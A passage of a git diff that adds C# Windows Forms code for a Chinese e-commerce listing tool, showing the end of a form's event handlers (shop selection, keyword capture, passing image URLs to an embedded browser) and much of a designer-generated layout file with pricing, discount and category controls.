sender, EventArgs e) + { + CollectProductInfoAndShowBrowser(currentRowIndex, true); + } + + private void lklbResetShop_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + this.cmbGetCatShop.Items.Clear(); + + this.cmbGetCatShop.Items.Add(new ComboBoxItem() { Name = "随机选择", Text = "随机选择" }); + foreach (var shop in GlobalConfig.DouShopLoginList) + { + cmbGetCatShop.Items.Add(new ComboBoxItem() { Name = shop.ShopAccountId, Text = shop.ShopAccount + (shop.LoginStatus == "登录成功" ? "" : " 未登录") }); + } + this.cmbGetCatShop.SelectedIndex = 0; + } + + private void btnCatchWords_Click(object sender, EventArgs e) + { + KeywordsCatchFrom keywordsCatchFrom = new KeywordsCatchFrom() { fission = this }; + keywordsCatchFrom.Show(); + } + + public void ChangeFissionTitle(string titles) + { + this.txtTitle.Text = titles.Replace(";", "\r\n"); + } + + public void MulitAddMainImageWithCatchWords(List imageList) + { + foreach (var url in imageList) + { + var jsStr = "AddImageUrl('" + url + "');"; + var t1 = browser.GetMainFrame().EvaluateScriptAsync(jsStr); + t1.Wait(); + } + } + + public void MulitAddContentImageWithCatchWords(List imageList) + { + var id = Randomx.GetId(10000000, 99999999); + var contentGroupId = "content_group" + id; + var contentSelectId = "content_select" + id; + foreach (var url in imageList) + { + var jsStr = "AddContent('" + url + "', '" + contentSelectId + "', '" + contentGroupId + "');"; + var t1 = browser.GetMainFrame().EvaluateScriptAsync(jsStr); + t1.Wait(); + } + } + } +} diff --git a/TEMUKJD/KJDForms/UploadForms/Fission.designer.cs b/TEMUKJD/KJDForms/UploadForms/Fission.designer.cs new file mode 100644 index 0000000..3fb4ca9 --- /dev/null +++ b/TEMUKJD/KJDForms/UploadForms/Fission.designer.cs @@ -0,0 +1,1392 @@ +using System; +using System.Windows.Forms; +using DevComponents.DotNetBar.Controls; +using LittleRabbit.UserComponent; + +namespace LittleRabbit.LittleRabbitForms.UploadForms +{ + partial class Fission + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle4 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle5 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Fission)); + this.panel1 = new System.Windows.Forms.Panel(); + this.CurrentPositiontextBox = new System.Windows.Forms.TextBox(); + this.pbLoading = new System.Windows.Forms.PictureBox(); + this.txtSuperTitle = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.labelX4 = new DevComponents.DotNetBar.LabelX(); + this.label3 = new System.Windows.Forms.Label(); + this.label1 = new System.Windows.Forms.Label(); + this.labelX1 = new DevComponents.DotNetBar.LabelX(); + this.labelX5 = new DevComponents.DotNetBar.LabelX(); + this.txtDiscount = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.randAddPercentTextBoxX = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.labelX11 = new DevComponents.DotNetBar.LabelX(); + this.labelX2 = new DevComponents.DotNetBar.LabelX(); + this.baseAddPriceTextBoxX = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.labelX10 = new DevComponents.DotNetBar.LabelX(); + this.checkBoxX1 = new DevComponents.DotNetBar.Controls.CheckBoxX(); + this.cboxShop = new System.Windows.Forms.ComboBox(); + this.lblShop = new System.Windows.Forms.Label(); + this.label10 = new System.Windows.Forms.Label(); + this.label11 = new System.Windows.Forms.Label(); + this.cboxCat1 = new System.Windows.Forms.ComboBox(); + this.label12 = new System.Windows.Forms.Label(); + this.cboxCat3 = new System.Windows.Forms.ComboBox(); + this.cboxCat2 = new System.Windows.Forms.ComboBox(); + this.pnlMsg = new DevComponents.DotNetBar.PanelEx(); + this.txtShopFlag = new System.Windows.Forms.TextBox(); + this.txtTitle = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.splitContainer1 = new System.Windows.Forms.SplitContainer(); + this.splitContainer2 = new System.Windows.Forms.SplitContainer(); + this.splitPage = new System.Windows.Forms.SplitContainer(); + this.flowLayoutPanel1 = new System.Windows.Forms.FlowLayoutPanel(); + this.btnLoadLastSetting = new DevComponents.DotNetBar.PanelEx(); + this.flpProp = new System.Windows.Forms.FlowLayoutPanel(); + this.flpQualification = new System.Windows.Forms.FlowLayoutPanel(); + this.splitContainer3 = new System.Windows.Forms.SplitContainer(); + this.dataGridView1 = new LittleRabbit.UserComponent.DataGridViewEx(); + this.id = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colDbId = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colProductId = new System.Windows.Forms.DataGridViewLinkColumn(); + this.ColProName = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.status = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colRemove = new System.Windows.Forms.DataGridViewLinkColumn(); + this.colDelete = new System.Windows.Forms.DataGridViewLinkColumn(); + this.btnCatchWords = new LittleRabbit.UserComponent.ButtonLc(); + this.lklbResetShop = new LittleRabbit.UserComponent.LinkLabelLc(); + this.cmbGetCatShop = new DevComponents.DotNetBar.Controls.ComboBoxEx(); + this.label6 = new System.Windows.Forms.Label(); + this.pnlShowOriginal = new System.Windows.Forms.Panel(); + this.btnShowOriginal = new LittleRabbit.UserComponent.ButtonLc(); + this.label4 = new System.Windows.Forms.Label(); + this.pnlShowCategoryList = new DevComponents.DotNetBar.PanelEx(); + this.buttonMeituPath = new LittleRabbit.UserComponent.ButtonLc(); + this.addToDBBtn = new LittleRabbit.UserComponent.ButtonLc(); + this.updateBtn = new LittleRabbit.UserComponent.ButtonLc(); + this.pbPaste = new System.Windows.Forms.PictureBox(); + this.lklbChangeCatId = new LittleRabbit.UserComponent.LinkLabelLc(); + this.SourceTitlelabel = new System.Windows.Forms.LinkLabel(); + this.lblFromUrl = new System.Windows.Forms.Label(); + this.lblCategory = new System.Windows.Forms.Label(); + this.label9 = new System.Windows.Forms.Label(); + this.importFileBtn = new LittleRabbit.UserComponent.ButtonLc(); + this.freePostLabel = new System.Windows.Forms.Label(); + this.importURLtextBox = new System.Windows.Forms.TextBox(); + this.label8 = new System.Windows.Forms.Label(); + this.LastURLBtn = new LittleRabbit.UserComponent.ButtonLc(); + this.sourceLabel = new System.Windows.Forms.Label(); + this.NextURLBtn = new LittleRabbit.UserComponent.ButtonLc(); + this.label7 = new System.Windows.Forms.Label(); + this.priceLabel = new System.Windows.Forms.Label(); + this.priceLabel1 = new System.Windows.Forms.Label(); + this.label5 = new System.Windows.Forms.Label(); + this.pnlAddShopFlag = new DevComponents.DotNetBar.PanelEx(); + this.cmbShopFlag = new DevComponents.DotNetBar.Controls.ComboBoxEx(); + this.pnlCancelShopFlag = new DevComponents.DotNetBar.PanelEx(); + this.pnlSaveShopFlag = new DevComponents.DotNetBar.PanelEx(); + this.txtNewShopFlag = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.label2 = new System.Windows.Forms.Label(); + this.toolTip1 = new System.Windows.Forms.ToolTip(this.components); + this.panel1.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pbLoading)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).BeginInit(); + this.splitContainer1.Panel2.SuspendLayout(); + this.splitContainer1.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).BeginInit(); + this.splitContainer2.Panel1.SuspendLayout(); + this.splitContainer2.Panel2.SuspendLayout(); + this.splitContainer2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitPage)).BeginInit(); + this.splitPage.Panel1.SuspendLayout(); + this.splitPage.Panel2.SuspendLayout(); + this.splitPage.SuspendLayout(); + this.flowLayoutPanel1.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer3)).BeginInit(); + this.splitContainer3.Panel1.SuspendLayout(); + this.splitContainer3.Panel2.SuspendLayout(); + this.splitContainer3.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.dataGridView1)).BeginInit(); + this.pnlShowOriginal.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pbPaste)).BeginInit(); + this.SuspendLayout(); + // + // panel1 + // + this.panel1.AutoScroll = true; + this.panel1.BackColor = System.Drawing.Color.White; + this.panel1.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.panel1.Controls.Add(this.CurrentPositiontextBox); + this.panel1.Controls.Add(this.pbLoading); + this.panel1.Controls.Add(this.txtSuperTitle); + this.panel1.Controls.Add(this.labelX4); + this.panel1.Controls.Add(this.label3); + this.panel1.Controls.Add(this.label1); + this.panel1.Controls.Add(this.labelX1); + this.panel1.Controls.Add(this.labelX5); + this.panel1.Controls.Add(this.txtDiscount); + this.panel1.Controls.Add(this.randAddPercentTextBoxX); + this.panel1.Controls.Add(this.labelX11); + this.panel1.Controls.Add(this.labelX2); + this.panel1.Controls.Add(this.baseAddPriceTextBoxX); + this.panel1.Controls.Add(this.labelX10); + this.panel1.Controls.Add(this.checkBoxX1); + this.panel1.Controls.Add(this.cboxShop); + this.panel1.Controls.Add(this.lblShop); + this.panel1.Controls.Add(this.label10); + this.panel1.Controls.Add(this.label11); + this.panel1.Controls.Add(this.cboxCat1); + this.panel1.Controls.Add(this.label12); + this.panel1.Controls.Add(this.cboxCat3); + this.panel1.Controls.Add(this.cboxCat2); + this.panel1.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel1.Location = new System.Drawing.Point(0, 0); + this.panel1.Name = "panel1"; + this.panel1.Size = new System.Drawing.Size(1148, 465); + this.panel1.TabIndex = 4; + // + // CurrentPositiontextBox + // + this.CurrentPositiontextBox.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.CurrentPositiontextBox.Location = new System.Drawing.Point(94, 353); + this.CurrentPositiontextBox.Name = "CurrentPositiontextBox"; + this.CurrentPositiontextBox.ReadOnly = true; + this.CurrentPositiontextBox.Size = new System.Drawing.Size(50, 21); + this.CurrentPositiontextBox.TabIndex = 3; + this.CurrentPositiontextBox.Text = "1"; + this.CurrentPositiontextBox.Visible = false; + // + // pbLoading + // + this.pbLoading.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.pbLoading.Image = global::LittleRabbit.Properties.Resources.loading_blue; + this.pbLoading.Location = new System.Drawing.Point(27, 214); + this.pbLoading.Name = "pbLoading"; + this.pbLoading.Size = new System.Drawing.Size(1088, 64); + this.pbLoading.SizeMode = System.Windows.Forms.PictureBoxSizeMode.Zoom; + this.pbLoading.TabIndex = 0; + this.pbLoading.TabStop = false; + this.pbLoading.Visible = false; + // + // txtSuperTitle + // + this.txtSuperTitle.BackColor = System.Drawing.SystemColors.Window; + // + // + // + this.txtSuperTitle.Border.BorderBottom = DevComponents.DotNetBar.eStyleBorderType.Solid; + this.txtSuperTitle.Border.Class = "TextBoxBorder"; + this.txtSuperTitle.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.txtSuperTitle.Font = new System.Drawing.Font("微软雅黑", 9F); + this.txtSuperTitle.Location = new System.Drawing.Point(94, 382); + this.txtSuperTitle.Multiline = true; + this.txtSuperTitle.Name = "txtSuperTitle"; + this.txtSuperTitle.ScrollBars = System.Windows.Forms.ScrollBars.Vertical; + this.txtSuperTitle.Size = new System.Drawing.Size(258, 49); + this.txtSuperTitle.TabIndex = 55; + this.txtSuperTitle.Visible = false; + this.txtSuperTitle.WatermarkText = "请输入两个超级标题,每个一行且不大于25个字符"; + // + // labelX4 + // + // + // + // + this.labelX4.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.labelX4.Location = new System.Drawing.Point(381, 357); + this.labelX4.Name = "labelX4"; + this.labelX4.Size = new System.Drawing.Size(56, 23); + this.labelX4.TabIndex = 35; + this.labelX4.Text = "加价倍数"; + this.labelX4.Visible = false; + // + // label3 + // + this.label3.AutoSize = true; + this.label3.Location = new System.Drawing.Point(31, 385); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(65, 12); + this.label3.TabIndex = 54; + this.label3.Text = "超级标题:"; + this.label3.Visible = false; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(31, 357); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(65, 12); + this.label1.TabIndex = 7; + this.label1.Text = "当前位置:"; + this.label1.Visible = false; + // + // labelX1 + // + // + // + // + this.labelX1.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.labelX1.Location = new System.Drawing.Point(381, 411); + this.labelX1.Name = "labelX1"; + this.labelX1.Size = new System.Drawing.Size(56, 23); + this.labelX1.TabIndex = 51; + this.labelX1.Text = "拼团折扣"; + this.labelX1.Visible = false; + // + // labelX5 + // + // + // + // + this.labelX5.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.labelX5.Location = new System.Drawing.Point(475, 358); + this.labelX5.Name = "labelX5"; + this.labelX5.Size = new System.Drawing.Size(20, 23); + this.labelX5.TabIndex = 37; + this.labelX5.Text = "倍"; + this.labelX5.Visible = false; + // + // txtDiscount + // + // + // + // + this.txtDiscount.Border.Class = "TextBoxBorder"; + this.txtDiscount.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.txtDiscount.Enabled = false; + this.txtDiscount.Location = new System.Drawing.Point(437, 411); + this.txtDiscount.Name = "txtDiscount"; + this.txtDiscount.PreventEnterBeep = true; + this.txtDiscount.Size = new System.Drawing.Size(37, 21); + this.txtDiscount.TabIndex = 8; + this.txtDiscount.Text = "9"; + this.txtDiscount.Visible = false; + this.txtDiscount.TextChanged += new System.EventHandler(this.txtDiscount_TextChanged); + // + // randAddPercentTextBoxX + // + // + // + // + this.randAddPercentTextBoxX.Border.Class = "TextBoxBorder"; + this.randAddPercentTextBoxX.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.randAddPercentTextBoxX.Enabled = false; + this.randAddPercentTextBoxX.Location = new System.Drawing.Point(437, 357); + this.randAddPercentTextBoxX.Name = "randAddPercentTextBoxX"; + this.randAddPercentTextBoxX.PreventEnterBeep = true; + this.randAddPercentTextBoxX.Size = new System.Drawing.Size(37, 21); + this.randAddPercentTextBoxX.TabIndex = 6; + this.randAddPercentTextBoxX.Text = "1.3"; + this.randAddPercentTextBoxX.Visible = false; + this.randAddPercentTextBoxX.TextChanged += new System.EventHandler(this.randAddPercentTextBoxX_TextChanged); + // + // labelX11 + // + // + // + // + this.labelX11.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.labelX11.Location = new System.Drawing.Point(475, 384); + this.labelX11.Name = "labelX11"; + this.labelX11.Size = new System.Drawing.Size(20, 23); + this.labelX11.TabIndex = 36; + this.labelX11.Text = "元"; + this.labelX11.Visible = false; + // + // labelX2 + // + // + // + // + this.labelX2.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.labelX2.Location = new System.Drawing.Point(475, 411); + this.labelX2.Name = "labelX2"; + this.labelX2.Size = new System.Drawing.Size(20, 23); + this.labelX2.TabIndex = 49; + this.labelX2.Text = "折"; + this.labelX2.Visible = false; + // + // baseAddPriceTextBoxX + // + // + // + // + this.baseAddPriceTextBoxX.Border.Class = "TextBoxBorder"; + this.baseAddPriceTextBoxX.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.baseAddPriceTextBoxX.Enabled = false; + this.baseAddPriceTextBoxX.Location = new System.Drawing.Point(437, 384); + this.baseAddPriceTextBoxX.Name = "baseAddPriceTextBoxX"; + this.baseAddPriceTextBoxX.PreventEnterBeep = true; + this.baseAddPriceTextBoxX.Size = new System.Drawing.Size(37, 21); + this.baseAddPriceTextBoxX.TabIndex = 7; + this.baseAddPriceTextBoxX.Text = "10"; + this.baseAddPriceTextBoxX.Visible = false; + this.baseAddPriceTextBoxX.TextChanged += new System.EventHandler(this.baseAddPriceTextBoxX_TextChanged); + // + // labelX10 + // + // + // + // + this.labelX10.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.labelX10.Location = new System.Drawing.Point(381, 384); + this.labelX10.Name = "labelX10"; + this.labelX10.Size = new System.Drawing.Size(56, 23); + this.labelX10.TabIndex = 40; + this.labelX10.Text = "基础加价"; + this.labelX10.Visible = false; + // + // checkBoxX1 + // + // + // + // + this.checkBoxX1.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.checkBoxX1.FocusCuesEnabled = false; + this.checkBoxX1.Location = new System.Drawing.Point(363, 356); + this.checkBoxX1.Name = "checkBoxX1"; + this.checkBoxX1.Size = new System.Drawing.Size(21, 23); + this.checkBoxX1.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.checkBoxX1.TabIndex = 41; + this.checkBoxX1.Visible = false; + this.checkBoxX1.CheckedChanged += new System.EventHandler(this.checkBoxX1_CheckedChanged); + // + // cboxShop + // + this.cboxShop.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.cboxShop.FormattingEnabled = true; + this.cboxShop.Location = new System.Drawing.Point(555, 330); + this.cboxShop.Name = "cboxShop"; + this.cboxShop.Size = new System.Drawing.Size(173, 20); + this.cboxShop.TabIndex = 9; + this.cboxShop.Visible = false; + this.cboxShop.SelectedIndexChanged += new System.EventHandler(this.cboxShop_SelectedIndexChanged); + // + // lblShop + // + this.lblShop.AutoSize = true; + this.lblShop.Font = new System.Drawing.Font("华文中宋", 8.999999F, System.Drawing.FontStyle.Underline, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.lblShop.ForeColor = System.Drawing.Color.Blue; + this.lblShop.Location = new System.Drawing.Point(514, 333); + this.lblShop.Name = "lblShop"; + this.lblShop.Size = new System.Drawing.Size(43, 14); + this.lblShop.TabIndex = 15; + this.lblShop.Text = "店铺:"; + this.toolTip1.SetToolTip(this.lblShop, "点击可刷新店铺"); + this.lblShop.Visible = false; + this.lblShop.Click += new System.EventHandler(this.lblShop_Click); + // + // label10 + // + this.label10.AutoSize = true; + this.label10.Location = new System.Drawing.Point(514, 361); + this.label10.Name = "label10"; + this.label10.Size = new System.Drawing.Size(41, 12); + this.label10.TabIndex = 15; + this.label10.Text = "一级:"; + this.label10.Visible = false; + // + // label11 + // + this.label11.AutoSize = true; + this.label11.Location = new System.Drawing.Point(514, 389); + this.label11.Name = "label11"; + this.label11.Size = new System.Drawing.Size(41, 12); + this.label11.TabIndex = 15; + this.label11.Text = "二级:"; + this.label11.Visible = false; + // + // cboxCat1 + // + this.cboxCat1.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.cboxCat1.FormattingEnabled = true; + this.cboxCat1.Location = new System.Drawing.Point(555, 358); + this.cboxCat1.Name = "cboxCat1"; + this.cboxCat1.Size = new System.Drawing.Size(173, 20); + this.cboxCat1.TabIndex = 10; + this.cboxCat1.Visible = false; + this.cboxCat1.SelectedIndexChanged += new System.EventHandler(this.cboxCat1_SelectedIndexChanged); + // + // label12 + // + this.label12.AutoSize = true; + this.label12.Location = new System.Drawing.Point(514, 418); + this.label12.Name = "label12"; + this.label12.Size = new System.Drawing.Size(41, 12); + this.label12.TabIndex = 15; + this.label12.Text = "三级:"; + this.label12.Visible = false; + // + // cboxCat3 + // + this.cboxCat3.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.cboxCat3.FormattingEnabled = true; + this.cboxCat3.Location = new System.Drawing.Point(555, 414); + this.cboxCat3.Name = "cboxCat3"; + this.cboxCat3.Size = new System.Drawing.Size(173, 20); + this.cboxCat3.TabIndex = 12; + this.cboxCat3.Visible = false; + // + // cboxCat2 + // + this.cboxCat2.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.cboxCat2.FormattingEnabled = true; + this.cboxCat2.Location = new System.Drawing.Point(555, 386); + this.cboxCat2.Name = "cboxCat2"; + this.cboxCat2.Size = new System.Drawing.Size(173, 20); + this.cboxCat2.TabIndex = 11; + this.cboxCat2.Visible = false; + this.cboxCat2.SelectedIndexChanged += new System.EventHandler(this.cboxCat2_SelectedIndexChanged); + // + // pnlMsg + // + this.pnlMsg.Anchor = System.Windows.Forms.AnchorStyles.Top; + this.pnlMsg.CanvasColor = System.Drawing.SystemColors.Control; + this.pnlMsg.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlMsg.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlMsg.Font = new System.Drawing.Font("微软雅黑", 14.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.pnlMsg.Location = new System.Drawing.Point(473, 42); + this.pnlMsg.Name = "pnlMsg"; + this.pnlMsg.Size = new System.Drawing.Size(350, 40); + this.pnlMsg.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlMsg.Style.BackColor1.Color = System.Drawing.Color.Transparent; + this.pnlMsg.Style.BackColor2.Color = System.Drawing.Color.Transparent; + this.pnlMsg.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.pnlMsg.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(255)))), ((int)(((byte)(147)))), ((int)(((byte)(0))))); + this.pnlMsg.Style.BorderWidth = 2; + this.pnlMsg.Style.CornerDiameter = 15; + this.pnlMsg.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.pnlMsg.Style.ForeColor.Color = System.Drawing.Color.Red; + this.pnlMsg.Style.GradientAngle = 90; + this.pnlMsg.TabIndex = 25; + this.pnlMsg.Text = "抠图状态"; + this.pnlMsg.Visible = false; + // + // txtShopFlag + // + this.txtShopFlag.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.txtShopFlag.Location = new System.Drawing.Point(707, 374); + this.txtShopFlag.Name = "txtShopFlag"; + this.txtShopFlag.Size = new System.Drawing.Size(123, 21); + this.txtShopFlag.TabIndex = 5; + // + // txtTitle + // + this.txtTitle.BackColor = System.Drawing.SystemColors.Window; + // + // + // + this.txtTitle.Border.BorderBottom = DevComponents.DotNetBar.eStyleBorderType.Solid; + this.txtTitle.Border.Class = "TextBoxBorder"; + this.txtTitle.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.txtTitle.Font = new System.Drawing.Font("微软雅黑", 9F); + this.txtTitle.Location = new System.Drawing.Point(122, 37); + this.txtTitle.Multiline = true; + this.txtTitle.Name = "txtTitle"; + this.txtTitle.ScrollBars = System.Windows.Forms.ScrollBars.Vertical; + this.txtTitle.Size = new System.Drawing.Size(219, 102); + this.txtTitle.TabIndex = 4; + this.txtTitle.WatermarkText = "请输入商品标题,最多50个字符"; + // + // splitContainer1 + // + this.splitContainer1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(224)))), ((int)(((byte)(224)))), ((int)(((byte)(224))))); + this.splitContainer1.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer1.IsSplitterFixed = true; + this.splitContainer1.Location = new System.Drawing.Point(1, 33); + this.splitContainer1.Margin = new System.Windows.Forms.Padding(0); + this.splitContainer1.Name = "splitContainer1"; + this.splitContainer1.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer1.Panel1 + // + this.splitContainer1.Panel1.BackColor = System.Drawing.SystemColors.MenuBar; + this.splitContainer1.Panel1Collapsed = true; + this.splitContainer1.Panel1MinSize = 0; + // + // splitContainer1.Panel2 + // + this.splitContainer1.Panel2.Controls.Add(this.splitContainer2); + this.splitContainer1.Size = new System.Drawing.Size(1364, 666); + this.splitContainer1.SplitterDistance = 25; + this.splitContainer1.SplitterWidth = 1; + this.splitContainer1.TabIndex = 5; + // + // splitContainer2 + // + this.splitContainer2.BackColor = System.Drawing.Color.WhiteSmoke; + this.splitContainer2.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer2.FixedPanel = System.Windows.Forms.FixedPanel.Panel2; + this.splitContainer2.Location = new System.Drawing.Point(0, 0); + this.splitContainer2.Name = "splitContainer2"; + this.splitContainer2.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer2.Panel1 + // + this.splitContainer2.Panel1.Controls.Add(this.splitPage); + // + // splitContainer2.Panel2 + // + this.splitContainer2.Panel2.Controls.Add(this.splitContainer3); + this.splitContainer2.Panel2.Paint += new System.Windows.Forms.PaintEventHandler(this.splitContainer2_Panel2_Paint); + this.splitContainer2.Size = new System.Drawing.Size(1364, 666); + this.splitContainer2.SplitterDistance = 465; + this.splitContainer2.TabIndex = 5; + // + // splitPage + // + this.splitPage.BackColor = System.Drawing.Color.WhiteSmoke; + this.splitPage.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitPage.FixedPanel = System.Windows.Forms.FixedPanel.Panel2; + this.splitPage.Location = new System.Drawing.Point(0, 0); + this.splitPage.Name = "splitPage"; + // + // splitPage.Panel1 + // + this.splitPage.Panel1.Controls.Add(this.panel1); + // + // splitPage.Panel2 + // + this.splitPage.Panel2.AutoScroll = true; + this.splitPage.Panel2.Controls.Add(this.flowLayoutPanel1); + this.splitPage.Panel2MinSize = 0; + this.splitPage.Size = new System.Drawing.Size(1364, 465); + this.splitPage.SplitterDistance = 1148; + this.splitPage.TabIndex = 5; + // + // flowLayoutPanel1 + // + this.flowLayoutPanel1.AutoSize = true; + this.flowLayoutPanel1.Controls.Add(this.btnLoadLastSetting); + this.flowLayoutPanel1.Controls.Add(this.flpProp); + this.flowLayoutPanel1.Controls.Add(this.flpQualification); + this.flowLayoutPanel1.FlowDirection = System.Windows.Forms.FlowDirection.TopDown; + this.flowLayoutPanel1.Location = new System.Drawing.Point(0, 0); + this.flowLayoutPanel1.Margin = new System.Windows.Forms.Padding(0); + this.flowLayoutPanel1.Name = "flowLayoutPanel1"; + this.flowLayoutPanel1.Size = new System.Drawing.Size(212, 41); + this.flowLayoutPanel1.TabIndex = 0; + // + // btnLoadLastSetting + // + this.btnLoadLastSetting.CanvasColor = System.Drawing.SystemColors.Control; + this.btnLoadLastSetting.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnLoadLastSetting.DisabledBackColor = System.Drawing.Color.Empty; + this.btnLoadLastSetting.Dock = System.Windows.Forms.DockStyle.Top; + this.btnLoadLastSetting.Location = new System.Drawing.Point(1, 3); + this.btnLoadLastSetting.Margin = new System.Windows.Forms.Padding(1, 3, 1, 3); + this.btnLoadLastSetting.MinimumSize = new System.Drawing.Size(120, 20); + this.btnLoadLastSetting.Name = "btnLoadLastSetting"; + this.btnLoadLastSetting.Size = new System.Drawing.Size(120, 23); + this.btnLoadLastSetting.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnLoadLastSetting.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnLoadLastSetting.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnLoadLastSetting.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.btnLoadLastSetting.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnLoadLastSetting.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.btnLoadLastSetting.Style.GradientAngle = 90; + this.btnLoadLastSetting.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.btnLoadLastSetting.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnLoadLastSetting.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnLoadLastSetting.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnLoadLastSetting.StyleMouseOver.ForeColor.Color = System.Drawing.Color.White; + this.btnLoadLastSetting.TabIndex = 413; + this.btnLoadLastSetting.Text = "载入上次配置"; + this.btnLoadLastSetting.Click += new System.EventHandler(this.btnLoadLastSetting_Click); + // + // flpProp + // + this.flpProp.AutoSize = true; + this.flpProp.AutoSizeMode = System.Windows.Forms.AutoSizeMode.GrowAndShrink; + this.flpProp.Dock = System.Windows.Forms.DockStyle.Fill; + this.flpProp.FlowDirection = System.Windows.Forms.FlowDirection.TopDown; + this.flpProp.Location = new System.Drawing.Point(3, 32); + this.flpProp.Name = "flpProp"; + this.flpProp.Size = new System.Drawing.Size(116, 0); + this.flpProp.TabIndex = 0; + // + // flpQualification + // + this.flpQualification.AutoSize = true; + this.flpQualification.AutoSizeMode = System.Windows.Forms.AutoSizeMode.GrowAndShrink; + this.flpQualification.Dock = 